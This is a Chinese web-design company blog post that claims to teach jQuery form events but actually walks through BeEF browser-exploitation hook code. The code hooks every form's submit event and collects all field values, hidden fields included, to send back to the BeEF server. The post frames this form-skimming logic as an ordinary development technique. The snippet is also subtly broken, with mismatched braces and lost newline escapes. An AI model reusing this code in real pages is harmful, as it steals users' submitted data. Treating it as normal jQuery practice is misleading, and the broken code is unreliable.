百恒网络
浅谈jQuery中使用表单事件的应用方法
  • 百恒服务
  • APP开发
  • 网页案例
  • 网页知识
  • 关于我们
  • 联系我们
  • 浅谈jQuery中使用表单事件的应用方法

    2017-07-18 15:52:43 3184
           除了对所有元素监听键盘事件外,BeEF还针对所有<>(注:form 在尖括号里面)元素提供了自定义逻辑。通过使用jQuery的元素选择器,执行下面的代码,会在当前DOM中的所有表单的submit事件上绑定beef.logger.submit()函数,下面南昌网络公司小编就来为大家介绍一下其具体做法。
           $j('form').submit(
           function(e) { beef.logger.submit(e); }
           });
           beef.logger.submit()函数通过遍历表单,取出所有输入框的值(包括隐藏元素),然后把它们发送回BeEF服务器:
           /*** 只要有表单提交,就将激发submit函数*/
           submit: function(e) {
           try {
           var f = new beef.logger.e();
           var values = "";
           f.type = 'submit';
           f.target = beef.logger.get_dom_identifier(e.target);
           for (var i = 0; i < e.target.elements.length; i++) {
           values += "["+i+"]";
           values +=e.target.elements[i].name;
           values +="="+e.target.elements[i].value+"n";
           }
           f.data = 'Action: '+$j(e.target).attr('action');
           f.data += ' - Method: '+$j(e.target).attr('method');
           f.data += ' - Values:n'+values;
           this.events.push(f);
           } catch(e) {}
           }
           beef.logger.e定义了一种简单的事件结构,它可以兼容各种事件类型,比如鼠标事件、键盘事件等,便于将各种事件以统一的形式传回BeEF服务器。函数中的for循环用于遍历表单中所有的子元素。有一点需要注意,这段代码并未考虑表单字段中存在disabled属性的情形。
           以上就是南昌网络公司-百恒网络小编为大家介绍的关于jQuery中使用表单事件的应用方法,如还有哪些不明白的地方,可随时来电咨询,我们将竭诚为您服务。此外,如有需要南昌网站建设、微信开发、手机APP开发等方面的服务,欢迎大家和我们联系,百恒网络随时为您效劳!
    展开分享
    服务
    案例
    首页
    动态
    联系
    咨询